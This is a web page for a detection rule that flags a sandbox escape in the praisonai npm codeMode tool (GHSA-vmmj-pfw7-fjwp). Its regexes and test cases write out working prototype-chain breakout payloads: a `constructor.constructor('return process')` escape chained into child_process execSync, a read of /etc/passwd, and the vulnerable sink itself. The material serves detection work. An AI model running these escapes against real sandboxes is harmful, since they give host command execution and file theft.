Skip to content
ATR-2026-01953critical工具下毒draft

npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)

Detects GHSA-vmmj-pfw7-fjwp (CRITICAL): praisonai npm >= 1.4.0 <= 1.7.1 exposes a `codeMode` builtin tool (src/tools/builtins/code-mode.ts) that claims sandbox:true but executes the supplied `code` in the HOST V8 context via `new Function('sandbox', 'with (sandbox) { ' + code + ' }')`. Setting process/require to undefined and blocklisting `require('fs')` is bypassed by recovering the real Function constructor through the prototype chain. This rule keys on the distinctive breakout tokens: `.constructor.constructor('return process')()` and `process.mainModule.require`, which let attacker code reach fs / child_process for host RCE. Fixed in 1.7.2.

嚴重度
critical
類別
工具下毒
掃描目標
both
作者
ATR Community

建議回應

alertblock input

參考資料

OWASP Agentic
ASI06:2026 - Tool Misuse
OWASP LLM
LLM06:2025 - Excessive Agency
MITRE ATLAS
AML.T0049 - Exploit Public-Facing Application

偵測條件

組合方式: any
  1. 01
    Prototype-chain Function-constructor breakout: x.constructor.constructor('return process'/global/require) — the GHSA-vmmj-pfw7-fjwp escape primitive
    欄位: content運算子: regex
  2. 02
    Post-escape host access: process.mainModule.require('child_process'/'fs') used to reach blocked modules after sandbox bypass
    欄位: content運算子: regex
  3. 03
    The vulnerable sink itself: new Function("sandbox", "with (sandbox) { ... }") host-context eval in code-mode.ts
    欄位: content運算子: regex
  4. 04
    explicit GHSA framing combined with the codeMode/Function-constructor exploit vocabulary
    欄位: content運算子: regex

攻擊範例(規則會觸發)

  1. ({}).constructor.constructor('return process')()
  2. const p = ([]).constructor.constructor("return process")(); p.mainModule.require('child_process').execSync('id')
  3. var x = ''.constructor.constructor('return global.process')(); x.mainModule.require('fs').readFileSync('/etc/passwd')
  4. const fn = new Function('sandbox', `with (sandbox) { ${code} }`); fn(sandbox);
  5. PoC for GHSA-vmmj-pfw7-fjwp: codeMode runs ({}).constructor.constructor('return process')() to escape the fake sandbox

以上為真實攻擊 payload 的脫敏版本,與規則一同版本化,作為 regression test——確保未來的修訂不會悄悄漏掉它們。

正常樣本(規則不會觸發)

  1. Single benign constructor reflection to read a class name — no double-constructor return-process breakout
    console.log(obj.constructor.name); // log the class name of obj
  2. Legitimate single new Function template compile — not the with(sandbox) host sink nor a prototype-chain escape
    const tmpl = new Function('data', 'return `Hello ${data.name}`'); tmpl({name: 'World'});
  3. Ordinary host-side process.env read in trusted code — no mainModule.require of child_process/fs and no escape primitive
    if (process.env.NODE_ENV === 'production') { app.enableCache(); }
  4. Plain mitigation/advisory sentence mentioning the GHSA id but containing no exploit tokens or codeMode/Function-constructor vocabulary
    Upgrade praisonai to 1.7.2 to remediate the codeMode sandbox escape GHSA-vmmj-pfw7-fjwp.

已知誤報情境

  • Security advisory or blog text quoting the GHSA-vmmj-pfw7-fjwp PoC for documentation, without it being executed as codeMode input.
  • Legitimate code that references `constructor` once (e.g. `obj.constructor.name`) or uses a single `new Function(...)` for templating, without the double-constructor `return process` breakout.
  • Node app legitimately reading `process.env` or `process.mainModule` in trusted host code that is not submitted to a sandboxed codeMode/eval tool.

完整 YAML 定義

在 GitHub 編輯 →
title: "npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)"
id: ATR-2026-01953
rule_version: 1
status: draft
description: >
  Detects GHSA-vmmj-pfw7-fjwp (CRITICAL): praisonai npm >= 1.4.0 <= 1.7.1 exposes a
  `codeMode` builtin tool (src/tools/builtins/code-mode.ts) that claims sandbox:true but
  executes the supplied `code` in the HOST V8 context via `new Function('sandbox', 'with (sandbox) { ' + code + ' }')`.
  Setting process/require to undefined and blocklisting `require('fs')` is bypassed by
  recovering the real Function constructor through the prototype chain. This rule keys on the
  distinctive breakout tokens: `.constructor.constructor('return process')()` and
  `process.mainModule.require`, which let attacker code reach fs / child_process for host RCE.
  Fixed in 1.7.2.
author: "ATR Community"
date: "2026/06/29"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical
references:
  owasp_llm: ["LLM06:2025 - Excessive Agency"]
  owasp_agentic: ["ASI06:2026 - Tool Misuse"]
  mitre_atlas: ["AML.T0049 - Exploit Public-Facing Application"]
  mitre_attack: ["T1190 - Exploit Public-Facing Application"]
  cve: ["GHSA-vmmj-pfw7-fjwp"]
metadata_provenance: { mitre_atlas: human-reviewed, owasp_llm: human-reviewed, owasp_agentic: human-reviewed }
compliance:
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness, cybersecurity) — runtime detection of this technique is a cybersecurity control for high-risk AI systems. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
      strength: secondary
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "NIST AI RMF MAP 5.1 — likelihood and impact of the identified attack are characterised; this rule detects the adversarial input at runtime. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
      strength: primary
    - subcategory: "MG.3.2"
      context: "NIST AI RMF MANAGE 3.2 — runtime monitoring/maintenance control that surfaces this attack class. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control) — detection of this payload is an operational control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) — this rule implements runtime detection as a treatment control. Technique: npm PraisonAI codeMode Sandbox Escape via Function Constructor Prototype Chain (GHSA-vmmj-pfw7-fjwp)."
      strength: secondary
tags: { category: tool-poisoning, subcategory: sandbox-escape, scan_target: both, confidence: high, source: cve-disclosure, vendor_sources: praisonai-ghsa-vmmj-pfw7-fjwp }
agent_source: { type: llm_io, framework: [any], provider: [any] }
detection:
  condition: any
  false_positives:
    - "Security advisory or blog text quoting the GHSA-vmmj-pfw7-fjwp PoC for documentation, without it being executed as codeMode input."
    - "Legitimate code that references `constructor` once (e.g. `obj.constructor.name`) or uses a single `new Function(...)` for templating, without the double-constructor `return process` breakout."
    - "Node app legitimately reading `process.env` or `process.mainModule` in trusted host code that is not submitted to a sandboxed codeMode/eval tool."
  conditions:
    - field: content
      operator: regex
      value: '(?i)(?:\(\s*\{\s*\}\s*\)|[\w$\]\)]\s*|["\x27]["\x27]\s*)\.\s*constructor\s*\.\s*constructor\s*\(\s*["\x27]\s*return\s+(?:process|global|require|this)\b'
      description: "Prototype-chain Function-constructor breakout: x.constructor.constructor('return process'/global/require) — the GHSA-vmmj-pfw7-fjwp escape primitive"
    - field: content
      operator: regex
      value: '(?i)process\s*\.\s*mainModule\s*\.\s*require\s*\(\s*["\x27](?:child_process|fs|os|vm|module)["\x27]'
      description: "Post-escape host access: process.mainModule.require('child_process'/'fs') used to reach blocked modules after sandbox bypass"
    - field: content
      operator: regex
      value: '(?i)new\s+Function\s*\(\s*["\x27]sandbox["\x27]\s*,\s*[`"\x27]\s*with\s*\(\s*sandbox\s*\)'
      description: "The vulnerable sink itself: new Function(\"sandbox\", \"with (sandbox) { ... }\") host-context eval in code-mode.ts"
    - field: content
      operator: regex
      value: '(?i)GHSA-vmmj-pfw7-fjwp[\s\S]{0,200}(?:codeMode|sandbox\s*escape|Function\s*constructor|return\s+process)'
      description: "explicit GHSA framing combined with the codeMode/Function-constructor exploit vocabulary"
response:
  actions: [alert, block_input]
  message_template: >
    [ATR-2026-01953] CRITICAL: PraisonAI codeMode sandbox escape (GHSA-vmmj-pfw7-fjwp) — prototype-chain
    Function-constructor breakout (`.constructor.constructor('return process')()` / process.mainModule.require)
    grants host fs + child_process RCE despite sandbox:true. Block and upgrade praisonai to >= 1.7.2.
confidence: 85
wild_fp_rate: 0
test_cases:
  true_positives:
    - input: "({}).constructor.constructor('return process')()"
      expected: triggered
      description: "Exact GHSA-vmmj-pfw7-fjwp PoC: empty-object prototype walk recovers Function and returns the real process object"
    - input: "const p = ([]).constructor.constructor(\"return process\")(); p.mainModule.require('child_process').execSync('id')"
      expected: triggered
      description: "Array-based breakout variant chained into mainModule.require child_process for RCE"
    - input: "var x = ''.constructor.constructor('return global.process')(); x.mainModule.require('fs').readFileSync('/etc/passwd')"
      expected: triggered
      description: "String-prototype breakout returning global.process then reading fs via mainModule.require"
    - input: "const fn = new Function('sandbox', `with (sandbox) { ${code} }`); fn(sandbox);"
      expected: triggered
      description: "The vulnerable code-mode.ts sink with (sandbox) host-context Function eval"
    - input: "PoC for GHSA-vmmj-pfw7-fjwp: codeMode runs ({}).constructor.constructor('return process')() to escape the fake sandbox"
      expected: triggered
      description: "Advisory-style attack framing referencing the GHSA id plus the Function constructor breakout"
  true_negatives:
    - input: "console.log(obj.constructor.name); // log the class name of obj"
      expected: not_triggered
      description: "Single benign constructor reflection to read a class name — no double-constructor return-process breakout"
    - input: "const tmpl = new Function('data', 'return `Hello ${data.name}`'); tmpl({name: 'World'});"
      expected: not_triggered
      description: "Legitimate single new Function template compile — not the with(sandbox) host sink nor a prototype-chain escape"
    - input: "if (process.env.NODE_ENV === 'production') { app.enableCache(); }"
      expected: not_triggered
      description: "Ordinary host-side process.env read in trusted code — no mainModule.require of child_process/fs and no escape primitive"
    - input: "Upgrade praisonai to 1.7.2 to remediate the codeMode sandbox escape GHSA-vmmj-pfw7-fjwp."
      expected: not_triggered
      description: "Plain mitigation/advisory sentence mentioning the GHSA id but containing no exploit tokens or codeMode/Function-constructor vocabulary"

修訂歷史

建立於
2026-06-29
最後修改
2026-07-02
在 GitHub 查看完整 commit 歷史 →